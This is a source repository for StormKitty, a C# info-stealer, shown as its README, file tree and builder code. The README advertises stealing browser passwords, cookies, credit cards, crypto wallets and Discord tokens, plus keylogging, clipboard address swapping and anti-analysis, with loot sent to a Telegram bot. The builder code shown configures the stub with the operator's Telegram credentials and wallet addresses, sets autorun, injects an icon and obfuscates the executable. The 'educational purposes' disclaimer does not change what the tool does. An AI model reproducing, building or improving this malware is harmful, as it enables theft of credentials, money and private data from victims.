├── LICENSE
├── README.md
├── StormKitty-2025-builder
├── StormKittyBuilder.sln
├── StormKittyBuilder
│ ├── App.config
│ ├── Modules
│ │ ├── build
│ │ │ ├── build.cs
│ │ │ ├── icon.cs
│ │ │ └── obfuscation.cs
│ │ ├── cli.cs
│ │ ├── crypt.cs
│ │ └── telegram.cs
│ ├── Program.cs
│ ├── Properties
│ │ └── AssemblyInfo.cs
│ ├── StormKittyBuilder.csproj
│ └── packages.config
└── packages
│ ├── Microsoft.VisualBasic.10.3.0
│ ├── LICENSE.TXT
│ ├── Microsoft.VisualBasic.10.3.0.nupkg
│ ├── THIRD-PARTY-NOTICES.TXT
│ ├── lib
│ │ ├── netcore50
│ │ │ └── Microsoft.VisualBasic.dll
│ │ ├── netstandard1.3
│ │ │ └── Microsoft.VisualBasic.dll
│ │ └── netstandard2.0
│ │ │ └── Microsoft.VisualBasic.dll
│ ├── ref
│ │ ├── netcore50
│ │ │ ├── Microsoft.VisualBasic.dll
│ │ │ ├── Microsoft.VisualBasic.xml
│ │ │ ├── de
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── es
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── fr
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── it
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── ja
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── ko
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── ru
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── zh-hans
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ └── zh-hant
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ ├── netstandard1.1
│ │ │ ├── Microsoft.VisualBasic.dll
│ │ │ ├── Microsoft.VisualBasic.xml
│ │ │ ├── de
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── es
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── fr
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── it
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── ja
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── ko
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── ru
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ ├── zh-hans
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ │ └── zh-hant
│ │ │ │ └── Microsoft.VisualBasic.xml
│ │ └── netstandard2.0
│ │ │ ├── Microsoft.VisualBasic.dll
│ │ │ └── Microsoft.VisualBasic.xml
│ └── version.txt
│ └── Mono.Cecil.0.11.2
│ ├── Mono.Cecil.0.11.2.nupkg
│ └── lib
│ └── net40
│ ├── Mono.Cecil.Mdb.dll
│ ├── Mono.Cecil.Mdb.pdb
│ ├── Mono.Cecil.Pdb.dll
│ ├── Mono.Cecil.Pdb.pdb
│ ├── Mono.Cecil.Rocks.dll
│ ├── Mono.Cecil.Rocks.pdb
│ ├── Mono.Cecil.dll
│ └── Mono.Cecil.pdb
└── StormKitty-2025
└── stub
├── Neko
├── App.config
├── Modules
│ ├── Clipper
│ │ ├── Clipboard.cs
│ │ ├── Clipper.cs
│ │ ├── EventManager.cs
│ │ └── Patterns.cs
│ ├── Implant
│ │ ├── AntiAnalysis.cs
│ │ ├── Mutex.cs
│ │ ├── SelfDestruct.cs
│ │ ├── StartDelay.cs
│ │ ├── Startup.cs
│ │ └── StringsCrypt.cs
│ ├── Keylogger
│ │ ├── EventManager.cs
│ │ ├── Keylogger.cs
│ │ └── PornDetection.cs
│ ├── Manager
│ │ ├── AnonFile.cs
│ │ ├── ClipboardManager.cs
│ │ ├── CommandHelper.cs
│ │ ├── Filemanager.cs
│ │ ├── Flags.cs
│ │ ├── LibLoader.cs
│ │ ├── SystemInfo.cs
│ │ ├── Telegram.cs
│ │ └── WindowManager.cs
│ └── Passwords
│ │ ├── Helpers
│ │ ├── Banking.cs
│ │ ├── Common.cs
│ │ ├── Counter.cs
│ │ ├── Paths.cs
│ │ ├── Report.cs
│ │ ├── SQLite.cs
│ │ └── SqlReader.cs
│ │ ├── Stealer.cs
│ │ └── Targets
│ │ ├── Browsers
│ │ ├── BrowserUtils.cs
│ │ ├── Chromium
│ │ │ ├── AesGcm.cs
│ │ │ ├── AutoFill.cs
│ │ │ ├── BCrypt.cs
│ │ │ ├── Bookmarks.cs
│ │ │ ├── Chromium.cs
│ │ │ ├── Cookies.cs
│ │ │ ├── CreditCards.cs
│ │ │ ├── Downloads.cs
│ │ │ ├── History.cs
│ │ │ └── Passwords.cs
│ │ ├── Edge
│ │ │ ├── AutoFill.cs
│ │ │ ├── Bookmarks.cs
│ │ │ ├── CreditCards.cs
│ │ │ └── Edge.cs
│ │ ├── Firefox
│ │ │ ├── Bookmarks.cs
│ │ │ ├── Cookies.cs
│ │ │ ├── Firefox.cs
│ │ │ ├── History.cs
│ │ │ └── Logins.cs
│ │ └── Internet Explorer
│ │ │ ├── InternetExplorer.cs
│ │ │ ├── Passwords.cs
│ │ │ └── VaultCli.cs
│ │ ├── FileZilla.cs
│ │ ├── Gaming
│ │ ├── Minecraft.cs
│ │ ├── Steam.cs
│ │ └── Uplay.cs
│ │ ├── Messengers
│ │ ├── Discord.cs
│ │ ├── Pidgin.cs
│ │ └── Telegram.cs
│ │ ├── System
│ │ ├── ActiveWindows.cs
│ │ ├── DesktopScreenshot.cs
│ │ ├── DirectoryTree.cs
│ │ ├── ProcessList.cs
│ │ ├── ProductKey.cs
│ │ ├── WebcamScreenshot.cs
│ │ └── Wifi.cs
│ │ ├── VPN
│ │ ├── NordVPN.cs
│ │ ├── OpenVPN.cs
│ │ └── ProtonVPN.cs
│ │ └── Wallets.cs
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
├── StormKitty.csproj
├── StormKitty.csproj.user
├── config.cs
└── packages.config
├── StormKitty.sln
└── packages
└── DotNetZip.1.13.8
├── DotNetZip.1.13.8.nupkg
└── lib
├── net40
├── DotNetZip.dll
├── DotNetZip.pdb
└── DotNetZip.xml
└── netstandard2.0
├── DotNetZip.dll
├── DotNetZip.pdb
└── DotNetZip.xml
/README.md:
--------------------------------------------------------------------------------
1 |
2 | 
3 | Stealer + Clipper + Keylogger
4 | Stealer written on C#, logs will be sent to Telegram bot.
5 |
6 |
7 |
8 |
9 | ***
10 |
11 | # :construction: Disclaimer
12 | I, the creator, am not responsible for any actions, and or damages, caused by this software.
13 | You bear the full responsibility of your actions and acknowledge that this software was created for educational purposes only.
14 | This software's main purpose is NOT to be used maliciously, or on any system that you do not own, or have the right to use.
15 | By using this software, you automatically agree to the above.
16 |
17 | ***
18 |
19 | # 🔱 Functions
20 | * AntiAnalysis (VirtualBox, SandBox, Emulator, Debugger, VirusTotal, Any.Run)
21 | * Steal system info (Version, CPU, GPU, RAM, IPs, BSSID, Location, Screen metrics)
22 | * Chromium based browsers (passwords, credit cards, cookies, history, autofill, bookmarks)
23 | * Firefox based browsers (db files, cookies, history, bookmarks)
24 | * Internet explorer/Edge (passwords)
25 | * Saved wifi networks & scan networks around device (SSID, BSSID)
26 | * Detect banking & cryptocurrency services in browsers
27 | * Install keylogger & clipper
28 | * Steam, Uplay, Minecraft session
29 | * Desktop & Webcam screenshot
30 | * ProtonVPN, OpenVPN, NordVPN
31 | * Cryptocurrency Wallets
32 | * Telegram sessions
33 | * Pidgin accounts
34 | * Discord tokens
35 | * Filezilla hosts
36 | * Process list
37 | * Directories structure
38 | * Product key
39 | * Autorun module
40 |
41 | ***
42 |
43 | ## [📦 Download compiled builder and source code](https://github.com/swagkarna/StormKitty/releases/tag/stormkitty-prebuild)
44 |
45 | ***
46 |
47 | # :loudspeaker: Telegram notification[old]:
48 |
49 | 
50 |
51 |
52 | ***
53 |
54 | # 📦 Build
55 |
56 | 1. Download build.zip
57 | 2. Open StormKittyBuilder.exe and enter telegram api and chat id
58 | 3. after building you will find exe file in `stub/build.exe` folder
59 | 4. Run `build.exe` make sure `dotnetzip.dll` and build.exe are in same path
60 | 5. All stealed files will be uploaded to your telegram-bot as zip file
61 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.13.35716.79 d17.13
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "StormKittyBuilder", "StormKittyBuilder\StormKittyBuilder.csproj", "{98075331-1F86-48C8-AE29-29DA39A8F98B}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Release|Any CPU = Release|Any CPU
13 | Release|x64 = Release|x64
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {98075331-1F86-48C8-AE29-29DA39A8F98B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {98075331-1F86-48C8-AE29-29DA39A8F98B}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {98075331-1F86-48C8-AE29-29DA39A8F98B}.Debug|x64.ActiveCfg = Debug|x64
19 | {98075331-1F86-48C8-AE29-29DA39A8F98B}.Debug|x64.Build.0 = Debug|x64
20 | {98075331-1F86-48C8-AE29-29DA39A8F98B}.Release|Any CPU.ActiveCfg = Release|Any CPU
21 | {98075331-1F86-48C8-AE29-29DA39A8F98B}.Release|Any CPU.Build.0 = Release|Any CPU
22 | {98075331-1F86-48C8-AE29-29DA39A8F98B}.Release|x64.ActiveCfg = Release|x64
23 | {98075331-1F86-48C8-AE29-29DA39A8F98B}.Release|x64.Build.0 = Release|x64
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {8190B6BE-30AA-4602-9817-C138AE3B6651}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/Modules/build/build.cs:
--------------------------------------------------------------------------------
1 | /*
2 | Author : LimerBoy
3 | Github : github.com/LimerBoy/StormKitty
4 | */
5 |
6 | using Mono.Cecil;
7 | using Mono.Cecil.Cil;
8 |
9 | using System;
10 | using System.Linq;
11 | using System.Collections.Generic;
12 |
13 | namespace StormKittyBuilder
14 | {
15 | internal sealed class build
16 | {
17 | private static Random random = new Random();
18 |
19 | private static string RandomString(int length)
20 | {
21 | const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
22 | return new string(Enumerable.Repeat(chars, length)
23 | .Select(s => s[random.Next(s.Length)]).ToArray());
24 | }
25 |
26 | public static Dictionary ConfigValues = new Dictionary
27 | {
28 | { "Telegram API", "" },
29 | { "Telegram ID", "" },
30 |
31 | { "AntiAnalysis", "" },
32 | { "Startup", "" },
33 | { "StartDelay", "" },
34 |
35 | { "ClipperBTC", "" },
36 | { "ClipperETH", "" },
37 | { "ClipperXMR", "" },
38 | { "ClipperXRP", "" },
39 | { "ClipperLTC", "" },
40 | { "ClipperBCH", "" },
41 |
42 | { "WebcamScreenshot", "" },
43 | { "Keylogger", "" },
44 | { "Clipper", "" },
45 |
46 | { "Mutex", RandomString(20) },
47 | };
48 |
49 |
50 | // Read stub
51 | private static AssemblyDefinition ReadStub()
52 | {
53 | return AssemblyDefinition.ReadAssembly("stub\\stub.exe");
54 | }
55 |
56 | // Write stub
57 | private static void WriteStub(AssemblyDefinition definition, string filename)
58 | {
59 | definition.Write(filename);
60 | }
61 |
62 | // Replace values in config
63 | private static string ReplaceConfigParams(string value)
64 | {
65 | foreach (KeyValuePair config in ConfigValues)
66 | if (value.Equals($"--- {config.Key} ---"))
67 | return config.Value;
68 |
69 | return value;
70 | }
71 |
72 | // Проходим по всем классам, строкам и заменяем значения.
73 | public static AssemblyDefinition IterValues(AssemblyDefinition definition)
74 | {
75 | foreach (ModuleDefinition definition2 in definition.Modules)
76 | foreach (TypeDefinition definition3 in definition2.Types)
77 | if (definition3.Name.Equals("Config"))
78 | foreach (MethodDefinition definition4 in definition3.Methods)
79 | if (definition4.IsConstructor && definition4.HasBody)
80 | {
81 | IEnumerator enumerator;
82 | enumerator = definition4.Body.Instructions.GetEnumerator();
83 | while (enumerator.MoveNext())
84 | {
85 | var current = enumerator.Current;
86 | if (current.OpCode.Code == Code.Ldstr & current.Operand is object)
87 | {
88 | string str = current.Operand.ToString();
89 | if (str.StartsWith("---") && str.EndsWith("---"))
90 | current.Operand = ReplaceConfigParams(str);
91 | }
92 | }
93 |
94 | }
95 |
96 | return definition;
97 | }
98 |
99 | // Read stub && compile
100 | public static string BuildStub()
101 | {
102 | var definition = ReadStub();
103 | definition = IterValues(definition);
104 | WriteStub(definition, "stub\\build.exe");
105 | return "stub\\build.exe";
106 | }
107 |
108 | }
109 | }
110 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/Modules/build/icon.cs:
--------------------------------------------------------------------------------
1 | /*
2 | Author : LimerBoy
3 | Github : github.com/LimerBoy/StormKitty
4 | */
5 |
6 | using System;
7 | using System.IO;
8 | using System.Runtime.InteropServices;
9 | using System.Security;
10 | using Microsoft.VisualBasic.CompilerServices; // Install-Package Microsoft.VisualBasic
11 |
12 | public partial class IconChanger
13 | {
14 | [SuppressUnmanagedCodeSecurity()]
15 | private partial class NativeMethods
16 | {
17 | [DllImport("kernel32")]
18 | public static extern IntPtr BeginUpdateResource(string fileName, [MarshalAs(UnmanagedType.Bool)] bool deleteExistingResources);
19 |
20 | [DllImport("kernel32")]
21 | public static extern bool UpdateResource(IntPtr hUpdate, IntPtr type, IntPtr name, short language, [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 5)] byte[] data, int dataSize);
22 |
23 | [DllImport("kernel32")]
24 | public static extern bool EndUpdateResource(IntPtr hUpdate, [MarshalAs(UnmanagedType.Bool)] bool discard);
25 |
26 | }
27 |
28 | [StructLayout(LayoutKind.Sequential)]
29 | private partial struct ICONDIR
30 | {
31 | public ushort Reserved;
32 | public ushort Type;
33 | public ushort Count;
34 | }
35 |
36 | [StructLayout(LayoutKind.Sequential)]
37 | private partial struct ICONDIRENTRY
38 | {
39 | public byte Width;
40 | public byte Height;
41 | public byte ColorCount;
42 | public byte Reserved;
43 | public ushort Planes;
44 | public ushort BitCount;
45 | public int BytesInRes;
46 | public int ImageOffset;
47 | }
48 |
49 | [StructLayout(LayoutKind.Sequential)]
50 | private partial struct BITMAPINFOHEADER
51 | {
52 | public uint Size;
53 | public int Width;
54 | public int Height;
55 | public ushort Planes;
56 | public ushort BitCount;
57 | public uint Compression;
58 | public uint SizeImage;
59 | public int XPelsPerMeter;
60 | public int YPelsPerMeter;
61 | public uint ClrUsed;
62 | public uint ClrImportant;
63 | }
64 |
65 | [StructLayout(LayoutKind.Sequential, Pack = 2)]
66 | private partial struct GRPICONDIRENTRY
67 | {
68 | public byte Width;
69 | public byte Height;
70 | public byte ColorCount;
71 | public byte Reserved;
72 | public ushort Planes;
73 | public ushort BitCount;
74 | public int BytesInRes;
75 | public ushort ID;
76 | }
77 |
78 | public static void InjectIcon(string exeFileName, string iconFileName)
79 | {
80 | InjectIcon(exeFileName, iconFileName, 1, 1);
81 | }
82 |
83 | public static void InjectIcon(string exeFileName, string iconFileName, uint iconGroupID, uint iconBaseID)
84 | {
85 | const uint RT_ICON = 3U;
86 | const uint RT_GROUP_ICON = 14U;
87 | var iconFile = IconFile.FromFile(iconFileName);
88 | var hUpdate = NativeMethods.BeginUpdateResource(exeFileName, false);
89 | var data = iconFile.CreateIconGroupData(iconBaseID);
90 | NativeMethods.UpdateResource(hUpdate, new IntPtr(RT_GROUP_ICON), new IntPtr(iconGroupID), 0, data, data.Length);
91 | for (int i = 0, loopTo = iconFile.ImageCount - 1; i <= loopTo; i++)
92 | {
93 | var image = iconFile.get_ImageData(i);
94 | NativeMethods.UpdateResource(hUpdate, new IntPtr(RT_ICON), new IntPtr(iconBaseID + i), 0, image, image.Length);
95 | }
96 |
97 | NativeMethods.EndUpdateResource(hUpdate, false);
98 | }
99 |
100 | private partial class IconFile
101 | {
102 | private ICONDIR iconDir = new ICONDIR();
103 | private ICONDIRENTRY[] iconEntry;
104 | private byte[][] iconImage;
105 |
106 | public int ImageCount
107 | {
108 | get
109 | {
110 | return iconDir.Count;
111 | }
112 | }
113 |
114 | public byte[] get_ImageData(int index)
115 | {
116 | return iconImage[index];
117 | }
118 |
119 | private IconFile()
120 | {
121 | }
122 |
123 | public static IconFile FromFile(string filename)
124 | {
125 | var instance = new IconFile();
126 | var fileBytes = File.ReadAllBytes(filename);
127 | var pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned);
128 | instance.iconDir = (ICONDIR)Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject(), typeof(ICONDIR));
129 | instance.iconEntry = new ICONDIRENTRY[instance.iconDir.Count];
130 | instance.iconImage = new byte[instance.iconDir.Count][];
131 | int offset = Marshal.SizeOf(instance.iconDir);
132 | var iconDirEntryType = typeof(ICONDIRENTRY);
133 | int size = Marshal.SizeOf(iconDirEntryType);
134 | for (int i = 0, loopTo = instance.iconDir.Count - 1; i <= loopTo; i++)
135 | {
136 | ICONDIRENTRY entry = (ICONDIRENTRY)Marshal.PtrToStructure(new IntPtr(pinnedBytes.AddrOfPinnedObject().ToInt64() + offset), iconDirEntryType);
137 | instance.iconEntry[i] = entry;
138 | instance.iconImage[i] = new byte[entry.BytesInRes];
139 | Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage[i], 0, entry.BytesInRes);
140 | offset += size;
141 | }
142 |
143 | pinnedBytes.Free();
144 | return instance;
145 | }
146 |
147 | public byte[] CreateIconGroupData(uint iconBaseID)
148 | {
149 | int sizeOfIconGroupData = Marshal.SizeOf(typeof(ICONDIR)) + Marshal.SizeOf(typeof(GRPICONDIRENTRY)) * ImageCount;
150 | var data = new byte[sizeOfIconGroupData];
151 | var pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned);
152 | Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject(), false);
153 | int offset = Marshal.SizeOf(iconDir);
154 | for (int i = 0, loopTo = ImageCount - 1; i <= loopTo; i++)
155 | {
156 | var grpEntry = new GRPICONDIRENTRY();
157 | var bitmapheader = new BITMAPINFOHEADER();
158 | var pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned);
159 | Marshal.Copy(get_ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject(), Marshal.SizeOf(typeof(BITMAPINFOHEADER)));
160 | pinnedBitmapInfoHeader.Free();
161 | grpEntry.Width = iconEntry[i].Width;
162 | grpEntry.Height = iconEntry[i].Height;
163 | grpEntry.ColorCount = iconEntry[i].ColorCount;
164 | grpEntry.Reserved = iconEntry[i].Reserved;
165 | grpEntry.Planes = bitmapheader.Planes;
166 | grpEntry.BitCount = bitmapheader.BitCount;
167 | grpEntry.BytesInRes = iconEntry[i].BytesInRes;
168 | grpEntry.ID = Conversions.ToUShort(iconBaseID + i);
169 | Marshal.StructureToPtr(grpEntry, new IntPtr(pinnedData.AddrOfPinnedObject().ToInt64() + offset), false);
170 | offset += Marshal.SizeOf(typeof(GRPICONDIRENTRY));
171 | }
172 |
173 | pinnedData.Free();
174 | return data;
175 | }
176 | }
177 | }
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/Modules/build/obfuscation.cs:
--------------------------------------------------------------------------------
1 | /*
2 | Author : LimerBoy
3 | Github : github.com/LimerBoy/StormKitty
4 | */
5 |
6 | using System;
7 | using System.IO;
8 | using System.Reflection;
9 | using System.Diagnostics;
10 |
11 | namespace StormKittyBuilder
12 | {
13 | internal sealed class obfuscation
14 | {
15 | // Current directory
16 | private static string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
17 | private static string WorkingDir = Path.GetDirectoryName(Assembly.GetEntryAssembly().Location);
18 |
19 | // Write confuzer settings
20 | private static string WriteSettings(string file)
21 | {
22 | string settings = Path.GetTempFileName() + ".crproj";
23 | string contents = $"";
24 | File.WriteAllText(settings, contents);
25 | return settings;
26 | }
27 |
28 | // Run confuzer
29 | private static string Confuzer(string settings)
30 | {
31 | ProcessStartInfo startInfo = new ProcessStartInfo
32 | {
33 | FileName = "cmd.exe",
34 | Arguments = "/C title Confuzer && color f && obfuscator\\Confuser.CLI.exe -n " + settings + " && timeout /t 7",
35 | };
36 | Console.ForegroundColor = ConsoleColor.Cyan;
37 | cli.ShowInfo("Starting obfuscation...");
38 | Process process = Process.Start(startInfo);
39 | process.WaitForExit();
40 | File.Delete("stub\\build.exe");
41 | File.Move("build\\stub\\build.exe", Desktop + "\\build.exe");
42 | Directory.Delete("build", true);
43 |
44 | string result = Desktop + "\\build.exe";
45 | if (File.Exists(result)) return result;
46 | cli.ShowError("Failed to obfuscate stub");
47 | return null;
48 | }
49 |
50 | // Obfuscate executable
51 | public static string Obfuscate(string file)
52 | {
53 | if (!Directory.Exists("obfuscator"))
54 | cli.ShowError("ConfuzeEx directory not found!");
55 |
56 | string settings = WriteSettings(file);
57 | string location = Confuzer(settings);
58 | return location;
59 | }
60 |
61 | }
62 | }
63 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/Modules/cli.cs:
--------------------------------------------------------------------------------
1 | /*
2 | Author : LimerBoy
3 | Github : github.com/LimerBoy/StormKitty
4 | */
5 |
6 | using System;
7 | using System.Windows.Forms;
8 |
9 | namespace StormKittyBuilder
10 | {
11 | internal sealed class cli
12 | {
13 | public static string GetBoolValue(string text)
14 | {
15 | Console.ForegroundColor = ConsoleColor.Cyan;
16 | Console.Write("(?) " + text + " (y/n): ");
17 | Console.ForegroundColor = ConsoleColor.White;
18 | string result = Console.ReadLine();
19 | return result.ToUpper() == "Y" ? "1" : "0";
20 | }
21 |
22 | public static string GetStringValue(string text)
23 | {
24 | Console.ForegroundColor = ConsoleColor.Cyan;
25 | Console.Write("(?) " + text + "\n>>> ");
26 | Console.ForegroundColor = ConsoleColor.White;
27 | return Console.ReadLine();
28 | }
29 |
30 | public static string GetEncryptedString(string text)
31 | {
32 | string result = GetStringValue(text);
33 | if (!string.IsNullOrEmpty(result))
34 | return crypt.EncryptConfig(result);
35 |
36 | return "";
37 | }
38 |
39 | public static void ShowError(string text)
40 | {
41 | Console.ForegroundColor = ConsoleColor.Red;
42 | Console.WriteLine("(!) " + text + "\n Press any key to exit...");
43 | Console.ReadLine();
44 | Environment.Exit(1);
45 | }
46 |
47 | public static void ShowInfo(string text)
48 | {
49 | Console.ForegroundColor = ConsoleColor.Yellow;
50 | Console.WriteLine("(i) " + text);
51 | }
52 |
53 | public static void ShowSuccess(string text)
54 | {
55 | Console.ForegroundColor = ConsoleColor.Green;
56 | Console.WriteLine("(+) " + text);
57 | }
58 |
59 | public static string GetIconPath()
60 | {
61 | OpenFileDialog OpenFileDialog = new OpenFileDialog();
62 |
63 | OpenFileDialog.InitialDirectory = ".\\icons";
64 | OpenFileDialog.Filter = "ico files (*.ico)|*.ico|All files (*.*)|*.*";
65 | OpenFileDialog.FilterIndex = 1;
66 | OpenFileDialog.RestoreDirectory = true;
67 |
68 | if (OpenFileDialog.ShowDialog() == DialogResult.OK)
69 | return OpenFileDialog.FileName;
70 |
71 |
72 | return null;
73 | }
74 |
75 | }
76 | }
77 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/Modules/crypt.cs:
--------------------------------------------------------------------------------
1 | /*
2 | Author : LimerBoy
3 | Github : github.com/LimerBoy/StormKitty
4 | */
5 |
6 | using System;
7 | using System.IO;
8 | using System.Text;
9 | using System.Security.Cryptography;
10 |
11 | namespace StormKittyBuilder
12 | {
13 | internal sealed class crypt
14 | {
15 | // Salt
16 | private static readonly byte[] saltBytes = new byte[] { 255, 64, 191, 111, 23, 3, 113, 119, 231, 121, 252, 112, 79, 32, 114, 156 };
17 | private static readonly byte[] cryptKey = new byte[] { 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 116, 104, 117, 98, 46, 99, 111, 109, 47, 76, 105, 109, 101, 114, 66, 111, 121, 47, 83, 116, 111, 114, 109, 75, 105, 116, 116, 121 };
18 |
19 | // Encrypt string
20 | public static string EncryptConfig(string value)
21 | {
22 | byte[] encryptedBytes = null;
23 | byte[] bytesToBeEncrypted = Encoding.UTF8.GetBytes(value);
24 |
25 | using (MemoryStream ms = new MemoryStream())
26 | {
27 | using (RijndaelManaged AES = new RijndaelManaged())
28 | {
29 | AES.KeySize = 256;
30 | AES.BlockSize = 128;
31 | var key = new Rfc2898DeriveBytes(cryptKey, saltBytes, 1000);
32 | AES.Key = key.GetBytes(AES.KeySize / 8);
33 | AES.IV = key.GetBytes(AES.BlockSize / 8);
34 | AES.Mode = CipherMode.CBC;
35 | using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
36 | {
37 | cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
38 | cs.Close();
39 | }
40 | encryptedBytes = ms.ToArray();
41 | }
42 | }
43 | return "ENCRYPTED:" + Convert.ToBase64String(encryptedBytes);
44 | }
45 |
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/Modules/telegram.cs:
--------------------------------------------------------------------------------
1 | /*
2 | Author : LimerBoy
3 | Github : github.com/LimerBoy/StormKitty
4 | */
5 |
6 | using System;
7 | using System.Net;
8 |
9 | namespace StormKittyBuilder
10 | {
11 | internal sealed class telegram
12 | {
13 | public static bool SendMessage(string text, string token, string chatid)
14 | {
15 | try
16 | {
17 | using (WebClient c = new WebClient())
18 | {
19 | string response = c.DownloadString(
20 | "https://api.telegram.org/bot" + token + "/sendMessage" +
21 | "?chat_id=" + chatid +
22 | "&text=" + text +
23 | "&parse_mode=Markdown" +
24 | "&disable_web_page_preview=True"
25 | );
26 | return !response.StartsWith("{\"ok\":false");
27 | }
28 | }
29 | catch (Exception ex) {
30 | Console.ForegroundColor = ConsoleColor.DarkRed;
31 | Console.WriteLine(ex);
32 | }
33 | return false;
34 | }
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/Program.cs:
--------------------------------------------------------------------------------
1 | /*
2 | Author : LimerBoy
3 | Github : github.com/LimerBoy/StormKitty
4 | */
5 |
6 | using System;
7 |
8 | namespace StormKittyBuilder
9 | {
10 | class Program
11 | {
12 | [STAThreadAttribute]
13 | static void Main(string[] args)
14 | {
15 | // Settings
16 | string token = cli.GetStringValue("Telegram API token");
17 | string chatid = cli.GetStringValue("Telegram chat ID");
18 | // Test connection to telegram API
19 | if (!telegram.SendMessage("✅ *StormKitty* builder connected successfully!", token, chatid))
20 | cli.ShowError("Failed connect to telegram bot api!");
21 | else
22 | cli.ShowSuccess("Connected successfully!\n");
23 |
24 | // Encrypt values
25 | build.ConfigValues["Telegram API"] = crypt.EncryptConfig(token);
26 | build.ConfigValues["Telegram ID"] = crypt.EncryptConfig(chatid);
27 | // Installation
28 | build.ConfigValues["AntiAnalysis"] = cli.GetBoolValue("Use anti analysis?");
29 | build.ConfigValues["Startup"] = cli.GetBoolValue("Install autorun?");
30 | build.ConfigValues["StartDelay"] = cli.GetBoolValue("Use random start delay?");
31 | // Modules
32 | if(build.ConfigValues["Startup"].Equals("1")) {
33 | build.ConfigValues["WebcamScreenshot"] = cli.GetBoolValue("Create webcam screenshots?");
34 | build.ConfigValues["Keylogger"] = cli.GetBoolValue("Install keylogger?");
35 | build.ConfigValues["Clipper"] = cli.GetBoolValue("Install clipper?");
36 | }
37 | // Clipper addresses
38 | if (build.ConfigValues["Clipper"].Equals("1"))
39 | {
40 | build.ConfigValues["ClipperBTC"] = cli.GetEncryptedString("Clipper : Your bitcoin address");
41 | build.ConfigValues["ClipperETH"] = cli.GetEncryptedString("Clipper : Your etherium address");
42 | build.ConfigValues["ClipperXMR"] = cli.GetEncryptedString("Clipper : Your monero address");
43 | build.ConfigValues["ClipperXRP"] = cli.GetEncryptedString("Clipper : Your ripple address");
44 | build.ConfigValues["ClipperLTC"] = cli.GetEncryptedString("Clipper : Your litecoin address");
45 | build.ConfigValues["ClipperBCH"] = cli.GetEncryptedString("Clipper : Your bitcoin cash address");
46 | }
47 | // Build
48 | string builded = build.BuildStub();
49 |
50 | Console.ReadLine();
51 | }
52 | }
53 | }
54 |
--------------------------------------------------------------------------------
/StormKitty-2025-builder/StormKittyBuilder/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // Общие сведения об этой сборке предоставляются следующим набором
6 | // набора атрибутов. Измените значения этих атрибутов для изменения сведений,
7 | // связанные с этой сборкой.
8 | [assembly: AssemblyTitle("StormKittyBuilder")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("StormKittyBuilder")]
13 | [assembly: AssemblyCopyright("Copyright © 2020")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
